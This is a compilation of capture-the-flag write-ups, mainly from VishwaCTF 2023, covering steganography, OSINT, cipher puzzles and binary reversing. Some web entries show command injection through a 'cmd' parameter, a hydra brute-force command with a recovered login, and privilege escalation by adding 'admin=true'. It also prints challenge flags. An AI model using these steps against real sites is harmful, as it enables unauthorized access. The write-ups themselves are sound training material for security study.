VishwaCTF{w3_ar3_an0nym0u5_w3_4r3_l3g1on_w3_d0_not_f0rg1v3_w3_do_not_f0rg3t}
Happy Hacking
FLAG FORMAT:VishwaCTF{}
```FLAG: VishwaCTF{w3_ar3_an0nym0u5_w3_4r3_l3g1on_w3_d0_not_f0rg1v3_w3_do_not_f0rg3t}``` |
Question starts with a basic jpg file, which I directly binwalk which extracted thehidden wav file from the image.

After analysing this wav file using audacity and seeing its spectogram, I got theFlag.

```FLAG: VishwaCTF{n0w_y0u_533_m3}``` |
### ```FIRST BLOOD```

### Super32 gotta be my favourite gender :)This was one of the best ever challenges I have ever solved to be honest.
So lets begin
## DESCRIPTIONThe challenge is all about surfing the internet.
And a .txt file named ```httpsyoutube.com@jee_engineering.txt```
## Solution
So firstly ezpz I visited the @jee_engineering yt channel as mentioned on the txt file name (also to mention the text file was empty).
Firstly I saw that it had a single video uploaded on it where he clutched in Valo :) Also commented down below hehe. I was just tryna check if there is anything inside the video or comments but found nothing and coming forward the about section of this channel had some hints:
First I went forward looking for who is hosting the jee advanced for this year 2k23 and found the wikipedia with whole table of details with it:
As it says IIT Guwahati is gonna host this years advanced paper I went forward to check their twitter for a brochure as mentioned in the yt about section and found a post:

Also mentioned in the about section of YT to check quoted retweets when we open it we just find a single quoted retweet:
Again the tweet here mentioned JEE Advanced chemisty paper and an Instagram handle, So i tried to lookup for an insta handle with same username and I was successful finding such and account with a single post:

Now as we see in the comment again there is mentioned about the chemmisty paper hosted by IIT Guwahati itself last time and upon the same wikipedia we can see it was hosted back in 2016, well that comes later, we can even find a mention of a github account with a repo but the username has 1 in its username so accordingly i searched for the same on github and found this:
 and upon opening the repo was some chinese font which when translated says: 
Also above we can see that there are 5 commits which when i viewed, I found out a .cpt file. First I was confused what a cpt file is and upon research I found an article buy redhat upon txt file encryption and decryption by a tool named ```ccrypt```
So I simply donwloaded the file on my linux machine and used the decrypt command ```ccdecrypt flag.txt.cpt```upon which it asked me for a decryption key. At first I was confused then I remebered about the mention of chem paper so I searched for jee advance 2016 papers which were in 2 sections but there were 5 Integer type questions as mentioned in the insta comment so I scrolled to the integer type questions and then as the repo said i interlinked the answers respectively ```94655```
And BOOM

Again the flag wasm't direct it asked for the password of that file to be input upon the flag too so finally the flag became:
### ```VishwaCTF{11T_9UW4HAT1_2023_94655}``` |
Description:My friend sent me a clip and I found it to be very interesting. I wanted to watch thefull video but before I could rewatch the clip, he deleted it!! All I have right now isthis image he sent me afterwards. Can you help me find the video link?
This question starts with a jpg file, starting with some basic analysis, everytime Igot this string in License of the image which kept on bugging me, also whileanalysing common passwords of this file I got few terms like,
AAA-7Z-EC32-D32, chevalo reviens and Klemou Was Here
Also, when I tried decoding that string I got in license
IFAUCLJXLIWUKQZTGIWUIMZS
I found out it was a Base-32 decoded plain text which luckily decoded to again this,
AAA-7Z-EC32-D32
After this, I was sure it is some password to steghide or something!!
I tried steghide with this password and got a secret.zip file which had two images,

Finally, the question itself gives a hint “XOR”
```gmic n1.png n2.png -blend xor -o result.png```
I used this command to XOR both the images and it resulted the FLAG

```FLAG: VishwaCTF{https://youtu.be/LlhKZaQk860}``` |
We were given a button on the webserver which when pressed gave me the info about the system details.
So again dirsearch found robots.txt on the website which when accessed gave me the source code having if else condition mentioning cmd and btn.
So as we press the system details button we see that in the url /?btn= appears so simply i changed btn to cmd and to check for if the commands work i tried ?cmd=ls
and boom it gave me the files inside the directory index.html, index.php and one more file forgot the name. So i simply used command ?cmd=cat+index.php
to notice i wasnt getting the flag anywhere instead the site was getting rendered so I decided to use an alt for cat command and i did the changes ?cmd=tac index.php
and there we go, i found the whole source code with the flag.

|
This call was a lot awkward to be honest so
### DESCRIPTIONThis is going to be a double hunt...
My childhood Fr1end James has posted something about the project he made on his socials (just to flaunt). Today is our submission day and my Fr1end James is absent. Yesterday when we met him, he told me, "Mark can you submit my project also with yours, as I will be going out of the city tomorrow morning." He forgot to tell me anything about his project. He is not even picking up my phone.
Help me find him and of course his project.
### SolnHere it was first some story of James and Mark so I simply searched for James and Mark and came around a YouTube channel now I thought this is gonna be easy until I searched there whole channel for any story related to the description.
Then I say the fr1end James written and tried searching the google for it which didnt turn around well as it mentioned some Adult sites there!
I already knew this is not going well around so I started searching social networking sites starting from Instagram but what I found was just a trippy guy selling his rolex watch lmao.
Then I went forward to twitter and here as I searched for fr1end James the first thing to pop up was a account with a post:
Here in this tweet he mentioned ```Endsem_Last_Minute-Project``` which I thought is quoting something when I thought of projects which linked me with github. First I tried searching fr1endjames but there was no user with such account and the proceeded with Endsem_Last_Minute-Project then:
I found this where I opened his initial repository and found 21 commits on the page. 
So I decided to 1 by 1 review each repo and then 
When I opened this update commit there was a flag laying there :)

```VishwaCTF{LbjtQY_449yfcD}``` |
Ronnie coleman has a message for you but you have to first arrange the weightsto get the message. Hint: Use a underscore between words for the flag.In this question we were given four .wav files:

After analysing there files in Audacity, I got some horizontally sliced words,which I joined using Paint.

After joining these images using Paint, I got some text “Gosqrd” and “Romnz”

But this lead me to nowhere and I concluded maybe this was just a RickRoll for us.After reading 1st line of the question again, “Ronnie coleman has a message for you”I tried searching about this guy Ronnie coleman, and he is a popular body builder.Then I searched for some random terms like “Ronnie coleman messages” but nothingcame out, then I tried “Ronnie coleman best messages”.This prompted me with some of his famous quotes,

I tried entering light_weight_yeah_budyy! in several ways but it was good for nothing,Finally I tried entering light_weight and IT Workedddddd!!!
```Flag: VishwaCTF{light_weight}``` |
DESCRIPTION:
Dude...They just emailed my own password back to me (and it wasn't evenasterisked) Don't they know that's a severe breach of privacy!!! Offenders leakedthem in PlainText. I hope they lie at the bottom of the deepest pits of hell Can you tellme their domain name??
I read the description and I randomly started to search the terms mentioned in thedescription and at a moment I googled the “plaintext offender leak” because thedescription reads that the “offenders leaked them in plaintext.” and the first thing Ifound is a website named plaintext offender I researched a bit and found this pagewho’s link is (https://plaintextoffenders.com/page/114) . The caption further readsthat “I hope they lie at the bottom of the deepest pits” so I dig a bit deeper then itfound out an image that has an e-mail address.
The image that contains the e-mail address is:

Now as the description asked me to "find the domain name" and on this post there was this napcosecurity.com mentioned, so i simply submitted it as my flag and boom it worked! Tho before i tried a few without reading "the dippest pit" description which landed me nowhere.
```The final flag was: VishwaCTF{napcosecurity.com}``` |
Given file encoded.txt:0e0e0e0e0e0e0e0e0e0e0p0a0e0a0e0e0e0a0e0e0e0e0e0e0e0a0e0e0e0e1e1e0e0e1e0e0c0c0c0c1i0s0a0a0a0a0i0i0i0i0i0j1e0e0e0e0e0e0e0e0e0e0e0e0e0j0c0i0i0i0i0i0i0i0i0i1i0i0i0i0i0i0i0i0i0j0a0e0e0j0i0i0i0i0i0i0i0j0e0e0e0e0e0e0e0e0e0e0e1e1e0e1j1c0j1a1i0i1i1i0i0i1i1i1i1i0i1i0i0i1j0i0i1j0c0e1j0a0i0i0i0i0i0i0j0c0i0j0a0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0j0c0i0j0a0i0i0i0i0i0i0i0i0i0i0i0i0i0i0i0i0i0i0i1j0e0e0e0e1j0c0i1i0i0j1j0a0e1e0e0e1e0e0e1e0e0j1e0e0e1e0e0e1e0e0e1e0e0e1e0e0e1e0e0j1100000000000000000000000000000000100001001001001001001001001001001001100000000000000000000000000000000000000000000000100001001001001001001001001001001001001001001001001001001001001001001100011001001001100010001001001001001001001001001001001001001100011000000000100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100011001001001001001001001001001001001001001001001001001001001100000000100001001001001001100000000000000000000000100001001001001100010001001001001001001001001001100011001001100010001001001001001001001001001001001001001001001100
As the in description fuck word is given. I tried different types of ciphers starting or endingwith fuck like Brainfuck, 2Dfuck, Boolfuck, Bitwise Fuckery, emotifuck, Random brainfuckbut none of worked.Then I tried binary fuck which led me to the half of the flag.

I was surfing website and suddenly I remembered I have seen this type of cipher as in ALPHuck so I tried decrypting half part of the cipher and I got this:

Tool used: tio.run
```Flag: VishwaCTF{35073r1c_l4ngu4ge5_4r3_c00l}``` |
Writeup (with images): [Fr1endship Forever](https://footpics4sale.github.io/writeups/CTF/VishwaCTF2023/OSINT-fr1endship-forever.html)
-----Searched "fr1end james" on Twitter and found the account @Fr1endJames
The latest tweet mentions his project "Endsem_Last_Minute-Project"
Searched Endsem_Last_Minute-Project on GitHub and found a repository with the same name under the username "Your-James"https://github.com/Your-James/Endsem_Last_Minute-Project
Looked through the commit history and found the flag in commit [fe59944](https://github.com/Your-James/Endsem_Last_Minute-Project/commit/fe599443374ecc8026da74872cc22ac62e1c55e6) "Update Suggester.cpp".
Flag: `VishwaCTF{LbjtQY_449yfcD}` |
## Don't deviateThere is an image link to the challenge:

I try inverse image search in google
I felt on this link https://www.bits-pilani.ac.in/pilani/management/PhotoGallery which seems to have a picture matching with the one in the challengeThis place seems to be on pilani campus. On the website the picture as the description shiv ganga.
So i search "shiv ganga pilani campus coordonates" on internet, and i had been able to find this site : https://trek.zone/en/india/places/738025/shiv-ganga-pilaniWe can see thos coordonates : 28.3561 (latitude) and 75.5887 (longitude)So we submit GREPCTF{28.3561,75.5887} and it work |
## Doctored ImageWe have an corrupted image we can download from the challenge :
[corrupted_image](https://traboda-arena-69.s3.amazonaws.com/files/attachments/doctored_51c0dc34-5b4e-4d32-b198-aa00644e6611.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA6GUFVMV6HO3NYL6Z%2F20230407%2Fap-south-1%2Fs3%2Faws4_request&X-Amz-Date=20230407T170801Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=52b71b8e32dcb52eda08afaff069944a2997d6ffaee7ccceaa1b56f9a4ba821f)
If we open the image in hexedit, we can see the first bytes of the image are at 00 00 00 00. So the signature bytes have been erased, we replace them with the signature bytes of a jpg file : FF D8 FF EE. And we can open the file and we optain an image with the flag :
grepCTF{m00n_kn1ght} |
The program gave us the first and last part:

The middle part is what we had to find.
It was being tested here:

Converted each if block to this:

And then just checking the flag gave us the middle part.
 |
DESCRIPTIONI love to play blindfold chess and this game is one of my easiest win . It's been a longtime since I played this game and now I forgot all moves.Help me recall my game and mention all the moves we played in flag . ( btw I wasnever good in blindfold games what I did was just played against low rated players )The flag format is VishwaCTF{move1_move2_move3_.....all moves of my game)
The Description of the challenge reads that the player was playing chess and he was never good inthe chess but he won because he played with a low rated player and the challenge name reads“FOOLish” so I combined both the hints and made a web search as “chess FOOL move” and I found atrick called FOOL’s mate which has some moves by using which you can win a game and also the flagformat says that it contains moves and underscores in between them. So, I took the first line of themove and pasted it in the flag format and used underscore in between them.

```Final Flag: VishwaCTF{f3_e6_g4_Qh4#}``` |
## esoF*ck 2We have a file linked to the challenge :
[eso-file](https://traboda-arena-69.s3.amazonaws.com/files/attachments/msg_7fbd69ad-7013-4d5c-9621-9b9466fe6533.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA6GUFVMV6HO3NYL6Z%2F20230407%2Fap-south-1%2Fs3%2Faws4_request&X-Amz-Date=20230407T174004Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=0ea123becbc0ac47cd7b30f90304b0a5d3d82639809e600f7975c6614b4091af)
It seems to be brainfuck, so we can go on https://copy.sh/brainfuck/ and we paste the fileWe optain this output : ``` Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. ... (truncated)```It seems to be another esoteric langage, so we search for it and we can find it's the ook langage. We go on https://www.dcode.fr/ook-language and we paste the text and we optain :
grepCTF{3sot3r1c_l4ngu4g3s_4r3_0k!} |
1. Check the .exe file $ file i\ am\ a\ code\ with\ some\ impurities.exe i am a code with some impurities.exe: UTF-8 Unicode (with BOM) text, with CRLF line terminators2. Open the .exe file in any editor.3. Google the piece of code from the file.4. Find out that it is a G2 language for machines.5. Find where we can execute the code: https://ncviewer.com/ https://nraynaud.github.io/webgcode/6. See that the result is similar to binary code, but it's difficult to read.7. Clear the code: remove #, $.8. Execute the clear code.9. Now we see binary code: 00100011 00100100 01011111 00101011 01100110 01000000 01111000 00100110 01011111 01100011 01110110 01101001 00100101 01000000 01101000 01100010 01110110 00100011 0110100010.Convert it to string: #$_+f@x&_cvi%@hbv#h11. Pass the string to the executable "useme". Program does not return anything, but before the return from function: .text:00005574CADB5577 call _Z5usemeNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE12. Now we can see the converted string: n0_g1rl5_d3p4rtm3ntFlag: VishwaCTF{n0_g1rl5_d3p4rtm3nt}. |
## Consuensual not contentThere is a file link to the challenge :
[consuensual_file](https://traboda-arena-69.s3.amazonaws.com/files/attachments/wp_97e98520-51df-4dfd-a128-8199744672e0.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA6GUFVMV6HO3NYL6Z%2F20230407%2Fap-south-1%2Fs3%2Faws4_request&X-Amz-Date=20230407T174524Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=7c3fb1794789a5123bc8b51afc1811bda5243491673652c06900ea729587f965)
The file start with those line: ```G21M10G00 X319.6025 Y8.139613M09```
We search the 'G01 X Y" on internet to see if we can find the file type
So we can find it correspond to NC G code, so we find a interpreter online, and we go on https://ncviewer.com/
And when we paste the code we obtain :
grepCTF{w0rksh0p_pract1ce_b3st_c0urs3} |
# SolutionIl faut voir qu'il y a un port udp ouvert chelouquand on envoie un paquet udp, on recoit une chaine en b64Une fois décodé, on se rend compte qu'il faut se connecteron se connecte en envoyant le mot de passe "hackday" encodé en base64Une fois cela fait, on peut utiliser des commandes dans le docker, tout en mettant en base64 les commandessauf que au bout de 2 secs, on doit a nouveau s'authentifierdonc il faut scripter l'auth et les commandes pour comprendre ou allerle flag est dans /root, et on est root
# SolutionYou have to see that there is a strange open udp portwhen we send an udp packet, we receive a b64 stringOnce decoded, we realize that we have to connectwe connect by sending the password "hackday" encoded in base64Once this is done, we can use commands in the docker, while putting the commands in base64except that after 2 sec, we have to authenticate againso you have to script the auth and the commands to understand where to gothe flag is in /root, and we are root
|
This challenge was a bit tricky
This challenge had a login page as well. So firstly I tried out some SQLi payloads but of no use.
So the next step I took was dirsearch where i found out 2 direcories showing 200 status login.php and sitemap.xml
Login.php had nothing at that time so I followed to visit sitemap.xml where i found 2 more hidden directories /creds/users.txt and /creds/pass.txt.
So it was again the time for bruteforce. I used hydra thc here with command "hydra -L users.txt -P pass.txt <server> http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid username or password!!'"But somehow it was showing me a bit error so i tried bruteforcing it with 1 by 1 usernames. And then ```shrekop``` was the user who had the pass VM something from pass.txt I thought I had won until I logged in as shrekop to be just a "(USER)" :( Now the this hints me that yup we need to escalate user to admin somehow and for that i tried few a lot things starting from putting inspecting all the headers if there is any possible way to make me admin. Looked upon if there exists any cookie but nope. Then I thought of using a bit params and tried putting in /login.php?admin=1 and ?/login.php?admin=true but it didnt work as well. I thought maybe there'l be a custom header and I tried adding Admin: 1 and Admin: true into the burp but again of no use. Almost given up I thought of using the same concept into the below given field where it mentioned user=shrekop&pass=blabla So I used and extra param here &admin=1 it didnt work and finally the almighty param &admin=true and BOOM it worked :D. That was a really great chall tbh.  |
1. Just open the .pcapng file and start analyzing.2. Sort requests for "Info".3. Watch requests "URB_INTERRUPT in" and only from 7.16.1 to Host. If you open a request and scroll down you can see Array: <value>. Like that:"""Array: 30"""0011 0000 = Usage: Keyboard ] and } (0x0007, 0x0030)Just open all requests and write symbols in txt. And you get the flag.
Flag: VishwaCTF{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}. |
1. Examine the source code of the "C" program. We understand that it is DES.2. Search the internet for an implementation of DES in "C". We find a strong correlation with this code.3. We take the Decrypt function and paste it into our program. Change the names and paths of the files in our program.4. The 64 bits given to us are the key. Decrypt the ciphertext. We get some sequence of bits.5. We are given python code that inverts the bits. We use it to invert the resulting sequence. We convert bin to text.
Flag: vishwaCTF{3v3ryth1ng_15_m3s5y_4r0und_h3r3....}. |
Encrypted string: j3qrh4kgz3iptmyqxcw0zkm8i5xugs5lwl0lrwvirwktlqinexcw0zkmq5nqvpebpor5wqipqhw2ikzm4ipktzlr1. We were presented with an encoded string of characters that we needed to decode to reveal the flag.2. After analyzing the string, we determined that it had been encoded using a cipher.3. We realized that the cipher used was the Vigenere Cipher, which requires a key to decode the string.4. We used a Vigenere Cipher decoder and discovered that the key for the cipher was EMINENCESHA.5. With the key in hand, we were able to successfully decode the string and obtain the flag.
Flag: VishwaCTF{friedrichwilhelmkasiskiwastheonewhodesignedtheaaakasiskiexaminationtodecodevignerecipher}. |
1. The pictures with the tests are given: one image is manipulative, another one has no security.2. Run steghide --extract -sf Get_It_1.jpeg without password.3. We have obtained nothing.txt. It is a hint about the name that will be the future password, which is heard somewhere.4. Run binwalk --dd='.*' Get_It_2.png and get the sound that says "lucifer”.5. steghide --extract -sf Its_a_Morse_not_a_joke_take_it_seriously.wav with the password “lucifer” and obtain the flag.
Flag: VishwaCTF{lucifer_S01E03}. |
1. Go to the following site.2. Upload an image and see the possible passwords.3. Common password: AAA-7Z-EC32-D32.4. Run the command "steghide extract -sf BossCat.jpg" with the aforementioned password.5. We get the secret.zip archive, unzip it.6. There are 2 images in the archive. 7. Use the following script and get the flag.
Flag: VishwaCTF{https://youtu.be/LlhKZaQk860}. |
1. In the file we hear the voice of a man and a Christmas tune. He is Tony Stark. The description contains the word deep. Use DeepSound, find the file welcome.exe.2. Run welcome.exe file.```You know me .. Who I am ....ONLY CAPITAL CASES ARE ALLOWED AND _ BETWEEN TWO WORDEnter my last message for my daughter```3. Input I_LOVE_YOU_3000.4. Receive the flag format (vishwaCTF{My Bestfriend's Name_First Appearance year}).
Flag: VishwaCTF{JAMES_2008}. |
1. There is a picture hidden in the archive, extract it via exiftool.2. Check the file properties and find the "daya darwaza tod do" password.3. Open the archive.4. There are 1000 pictures in the archive, one differs from all of them by weight.5. Apply steghide -extract -sf with password the password on it and obtain the flag.
Flag: vishwaCTF{my_GOD_D4ya_tumn3_t0_fl4g_dhund_liy4....}. |
1. We have a file with no format.2. With the file AV command we understand that it is a GIF image.3. Use exiftool -v AV.gif to read the metadata.4. We see the base64 encoded string: dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0=.5. Decode it and get the flag.
Flag: vishwaCTF{pr073c7_ur_3X1F}. |
1. Well, download the picture and use exiftool. In Title we can see "https://t.me find other half of me also you may get 1st part of flag in image in image - 1". Now we're going to need to find the first part of the flag and the bot's ID in Telegram.2. Use strings on the picture that find the ID (/nachraj69_bot).3. Let's find the first part of the flag. Use "stegoveritas <file.png>". In a new directory "results" open trailing_data.bin file. It's a PNG file with the first part of the flag.4. Just send msg in bot (/step1) and Download file in the link.5. Run file...Well, we must find "name". Just analyze this file with IDA pro and we can see that one of some functions look like a palindrome algorithm. Just type /palindrome in bot and get another link.6. Well, we got the WAV file. In the text of the audio we can hear "Who is she? Type my name in bot once you found her. ??? 2nd part of the flag ????? many secrets ????"also in exiftool Comment we can see,that we must to find name of HYDE It's Tyler from the “Wednesday” series. Use steghide extract -sf <file.wav> with passphrase tyler and get txt file.7. .txt file contains base64 text. Just decode this and we get picture with White Wednesday8. Use search by photo and find name this White Wednesday. Its /goody. Send this bot for the 2nd part of the flag.9. The 3rd part of the flag is in the YouTube video. Link located in WAV file)) Use strings or stegoveritas to get link.https://www.youtube.com/watch?v=z4t2_6SFiPo&ab_channel=dadapool
Flag: VishwaCTF{_sinclair_addams_barclay_petropolus_walker_galpin_thornhill_weems}. |
The task description mentions a certain "Mr. Shamir," which is a small hint that we are dealing with a Shamir's Secret Sharing scheme task.
1. After studying the code in the challenge.py file, it can be understood that parts of the flag are used as a secret, and our task is to find these parts and assemble them together.2. We will write a small script to process the output.txt file and run the decoding using the Python ShamirDecoder library (see script below). https://ibb.co/J5s68ZcFlag: VishwaCTF{l4gr4ng3_f0r_th3_w1n!}. |
# Chandi Bot 3
- 294 Points / 73 Solves
## Background
I wonder what the bot's favorite dinosaur is?

## Find the flag
If we send a message that contains "dinosaur", it'll reply us with some random dinosaur names:

However, I think that just a rabbit hole.
Then, I start to think: "Any command that's interesting?"
**Yes we do. Like the `/stego` command:**

**Hmm... Let's upload a random PNG image file:**


Let's download it!

```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Chandi-Bot)-[2023.04.02|16:30:05(HKT)]└> wget https://media.discordapp.net/ephemeral-attachments/1091391452866682950/1092001499086864384/encoded.png```
**According to [HackTricks](https://book.hacktricks.xyz/crypto-and-stego/stego-tricks#zsteg), we can use a tool called [`zsteg`](https://github.com/zed-0xff/zsteg) to run all the checks:**

```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Chandi-Bot)-[2023.04.02|16:30:08(HKT)]└> zsteg -a encoded.pngb8,b,msb,xy .. file: RDI Acoustic Doppler Current Profiler (ADCP)b8,rgb,msb,xy .. file: RDI Acoustic Doppler Current Profiler (ADCP)b8,bgr,msb,xy .. file: RDI Acoustic Doppler Current Profiler (ADCP)b1,rgb,lsb,yx .. text: "RS{GO_GET_THE_ENCODED_FLAG}"[...]```
Boom! We found the flag!
- **Flag: `RS{GO_GET_THE_ENCODED_FLAG}`**
## Conclusion
What we've learned:
1. Extracting Hidden Information In An Image File |
1. Run the following SQLi on the query: SELECT * FROM traffic_cam3 WHERE "year" = 2023 AND "month" = 3 AND "day" = 27 AND "hour" = 21;
Flag: VishwaCTF{WellingtonEastSpringwood}. |
1. On the site we have a form of authorization.2. Via fuzzing, we find the file sitemap.xml.3. In this file we have two directives with the path of the file: /creds/users.txt and /creds/pass.txt.4. Using Burp Intuder we bruteforce the authorization form with these dictionaries.5. Find valid login info - shrekop: VmU5gnXKYN2vLp48.6. Log in to the site, and we see that we are logged in as a user.7. Add admin=true parameter to GET request and send.
Flag: VishwaCTF{h1dd3n_P@raMs}. |
## 0CTF 2020 - Happy Tree (Reversing 407)##### 29/06 - 01/07/2020 (48hr)___
### Description
-
___
### Solution

Initially, prorgram builds an "execution" tree (in `.ctors` function `too_big_565554A0`).Each tree node has 5 fields (`arg0`, `arg1`, `execution function`, `number of children` and`a pointer to an array of all children:```Assembly.bss:5657C1D0 first_node_5657C1D0 dd 0 ; DATA XREF: too_big_565554A0+4DBF↑o.bss:5657C1D0 ; too_big_565554A0+5F3C↑o ....bss:5657C1D4 dd 0.bss:5657C1D8 dd offset sub_56570370.bss:5657C1DC dd 1.bss:5657C1E0 dd offset off_56580D70```
In main, code simply invokes the function from the first node, with the node itself beingpassed as an argument:```Assembly.text:56570200 ; int __cdecl main_56570200(int argc, const char **argv, const char **envp).text:56570200 main_56570200 proc near ; DATA XREF: .got:off_56572FF4↓o.text:56570200.text:56570200 argc = dword ptr 4.text:56570200 argv = dword ptr 8.text:56570200 envp = dword ptr 0Ch.text:56570200.text:56570200 ; __unwind {.text:56570200 lea ecx, [esp+argc].text:56570204 and esp, 0FFFFFFF0h.text:56570207 call load_eip_56570893.text:5657020C add eax, (offset got_entry_56572FC8 - $).text:56570211 push dword ptr [ecx-4].text:56570214 push ebp.text:56570215 mov ebp, esp.text:56570217 push ecx.text:56570218 sub esp, 0Ch.text:5657021B lea eax, (first_node_5657C1D0 - 56572FC8h)[eax].text:56570221 push 0.text:56570223 push eax.text:56570224 call dword ptr [eax+8].text:56570227 mov ecx, [ebp-4].text:5657022A add esp, 10h.text:5657022D xor eax, eax.text:5657022F leave.text:56570230 lea esp, [ecx-4].text:56570233 retn.text:56570233 ; } // starts at 56570200```
The first node that is being invoked is `visit_children_56570370`, where it iteratesover all children and invokes their functions one by one:```Assembly.text:56570370 visit_children_56570370 proc near ; DATA XREF: too_big_565554A0+5F0A↑o.text:56570370 ; .bss:5657C1D8↓o.text:56570370 ; __unwind {.text:56570370 push esi.text:56570371 push ebx.text:56570372 sub esp, 4.text:56570375 mov esi, [esp+0Ch+arg_0].text:56570379 mov eax, [esi+node.nchildren_C] ; 0xC: upper bound.text:5657037C test eax, eax.text:5657037E jz short NO_CHILDREN_565703B0.text:56570380 xor ebx, ebx ; ebx = iterator.text:56570382 lea esi, [esi+0] ; nop.text:56570388.text:56570388 LOOP_56570388: ; CODE XREF: visit_children_56570370+30↓j.text:56570388 mov eax, [esi+node.child_ptrs_10].text:5657038B sub esp, 8.text:5657038E mov eax, [eax+ebx*4] ; get i-th child and execute it's function.text:56570391 push 0.text:56570393 add ebx, 1 ; ++i.text:56570396 push eax.text:56570397 call [eax+node.func_ptr_8].text:5657039A add esp, 10h.text:5657039D cmp [esi+node.nchildren_C], ebx.text:565703A0 ja short LOOP_56570388.text:565703A2 add esp, 4.text:565703A5 pop ebx.text:565703A6 pop esi.text:565703A7 retn.text:565703B0.text:565703B0 NO_CHILDREN_565703B0: ; CODE XREF: visit_children_56570370+E↑j.text:565703B0 add esp, 4.text:565703B3 mov eax, 0FFFFFFFFh.text:565703B8 pop ebx.text:565703B9 pop esi.text:565703BA retn.text:565703BA ; } // starts at 56570370```
In total, there are **17** different functions that can be assigned to the nodes and theirexecution order is determine on the tree layout:``` 0x56570370: 'visit children', 0x565703C0: 'visit 1st child', 0x565703E0: 'read symbol table', 0x56570400: 'read symbol table', 0x56570420: 'get 1st arg', 0x56570430: 'visit children', 0x56570480: 'return 0', 0x56570490: 'loop', 0x565704F0: 'visit 1st child', 0x56570510: 'visit 1st child', 0x56570530: 'return 0', 0x56570540: 'alloc', 0x56570570: 'make call', 0x56570670: 'emulate instruction', 0x56570760: 'get array index', 0x565707E0: 'mov', 0x56570850: 'if else'```
Let's see at the most interesing. Function `read_symbol_tbl2_56570400` uses `arg1` field from the node to load a symbol from a special symbol table:```Assembly.text:56570400 read_symbol_tbl2_56570400 proc near ; DATA XREF: too_big_565554A0+7E6C↑o.text:56570400 ; too_big_565554A0+AAA0↑o ....text:56570400 ; __unwind {.text:56570400 mov edx, [esp+arg_0].text:56570404 call load_eip_56570893.text:56570409 add eax, (offset got_entry_56572FC8 - $).text:5657040E mov edx, [edx+4] ; node->arg1 (index).text:56570411 lea eax, (symbol_tbl_56579A20 - 56572FC8h)[eax].text:56570417 mov eax, ds:(got_entry_56572FC8 - 56572FC8h)[eax+edx*4].text:5657041A retn.text:5657056C ; } // starts at 56570540```
Symbol table contains the following values:```Assembly.bss:56579A20 symbol_tbl_56579A20 dd offset unk_F7F13970 ; memset.bss:56579A24 dd offset __isoc99_scanf.bss:56579A28 dd offset _IO_puts.bss:56579A2C dd 56581780h.bss:56579A30 dd offset aAh ; "Ah?".bss:56579A34 dd offset a36s ; "%36s".bss:56579A38 dd 0.bss:56579A3C dd 0.bss:56579A40 dd offset aWow ; "Wow!".bss:56579A44 dd offset aOw ; "Ow!"```
Function `alloc_56570540` allocates some memory and stores the pointerinto symbol table:```Assembly.text:56570540 alloc_56570540 proc near ; DATA XREF: too_big_565554A0+7FA3↑o.text:56570540 ; too_big_565554A0+A1C6↑o ....text:56570540 ; __unwind {.text:56570540 push esi.text:56570541 push ebx.text:56570542 call load_eip_56570270.text:56570547 add ebx, (offset got_entry_56572FC8 - $).text:5657054D sub esp, 10h.text:56570550 mov esi, [esp+18h+arg_0].text:56570554 push dword ptr [esi] ; node->arg0 (size).text:56570556 call _malloc.text:5657055B lea edx, (symbol_tbl_56579A20 - 56572FC8h)[ebx].text:56570561 mov ecx, [esi+4].text:56570564 mov [edx+ecx*4], eax ; node->arg1 (index in sym_tbl).text:56570567 add esp, 14h.text:5657056A pop ebx.text:5657056B pop esi.text:5657056C retn.text:5657056C ; } // starts at 56570540```
Function `loop_56570490` simulates a loop. It executes the 1st child to perormany initialization and invokes the 3rd child to check the exit condition of the loop.Inisde the loop it repeatedly invokes the 4th and 5th children:```Assembly.text:56570490 loop_56570490 proc near ; DATA XREF: too_big_565554A0+802B↑o.text:56570490 ; too_big_565554A0+A365↑o ....text:56570490 ; __unwind {.text:56570490 push ebx.text:56570491 sub esp, 10h.text:56570494 mov ebx, [esp+14h+arg_0].text:56570498 mov eax, [ebx+10h].text:5657049B mov eax, [eax].text:5657049D push 0.text:5657049F push eax.text:565704A0 call dword ptr [eax+8] ; visit 1st child (initialization).text:565704A3 add esp, 10h.text:565704A6 jmp short END_OF_LOOP_565704D0.text:565704A6 ; ---------------------------------------------------------------------------.text:565704A8 align 10h.text:565704B0.text:565704B0 LOOP_565704B0: ; CODE XREF: loop_56570490+54↓j.text:565704B0 mov eax, [ebx+10h].text:565704B3 sub esp, 8.text:565704B6 mov eax, [eax+10h] ; visit 5th child.text:565704B9 push 0.text:565704BB push eax.text:565704BC call dword ptr [eax+8].text:565704BF mov eax, [ebx+10h].text:565704C2 pop edx.text:565704C3 pop ecx.text:565704C4 mov eax, [eax+0Ch] ; visit 4th child.text:565704C7 push 0.text:565704C9 push eax.text:565704CA call dword ptr [eax+8].text:565704CD add esp, 10h.text:565704D0.text:565704D0 END_OF_LOOP_565704D0: ; CODE XREF: loop_56570490+16↑j.text:565704D0 mov eax, [ebx+10h].text:565704D3 sub esp, 8.text:565704D6 mov eax, [eax+8] ; visit 3rd child (exit condition).text:565704D9 push 0.text:565704DB push eax.text:565704DC call dword ptr [eax+8].text:565704DF add esp, 10h.text:565704E2 test eax, eax.text:565704E4 jnz short LOOP_565704B0.text:565704E6 add esp, 8.text:565704E9 pop ebx.text:565704EA retn.text:565704EA ; } // starts at 56570490.text:565704EB ; ---------------------------------------------------------------------------.text:565704EB nop.text:565704EC lea esi, [esi+0].text:565704EC loop_56570490 endp ; sp-analysis failed```
